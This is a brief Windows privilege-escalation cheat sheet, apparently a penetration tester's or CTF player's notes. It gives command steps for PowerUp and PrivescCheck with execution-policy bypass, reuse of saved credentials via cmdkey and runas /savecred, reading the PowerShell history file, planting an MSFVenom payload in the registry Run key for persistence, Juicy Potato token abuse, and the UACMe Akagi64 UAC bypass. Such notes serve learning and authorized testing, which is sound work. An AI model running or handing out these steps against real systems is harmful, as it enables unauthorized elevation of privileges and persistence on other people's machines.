Privilege Escalation | Windows

PowerUP | GitHub

- Open a PowerShell CMD
- powershell -ep bypass
- . .\PowerUp.ps1
- Invoke-PrivescAudit

PrivescCheck | GitHub

- Open a PowerShell CMD
- powershell -ep bypass
- . .\PrivescCheck.ps1
- Invoke-PrivescCheck

cmdkey

- cmdkey /list
- runas.exe /savecred /user:*founduser* cmd

PowerShell History

C:\Users\User\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_History

Registry Autoruns

- Get-Acl -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' | Format-List
- Create a new / Change an existing registry key with the path pointing to a MSFVenom payload
- The payload will now execute once a user log in

Juicy Potato

- Create a MSFVenom payload and upload to target
- Upload juicypotato.exe to target (In Desktop/Tools)
- Juicypotato.exe -l 5555 -p *PATHTOPAYLOAD* -t * -c *CLSID*
- CLSID can be found here.

UACMe

Akagi64.exe *{KEY/23}* *{**FULL**_PATH_MPRETER_PAYLOAD}*
Akagi64.exe in /Desktop/Tools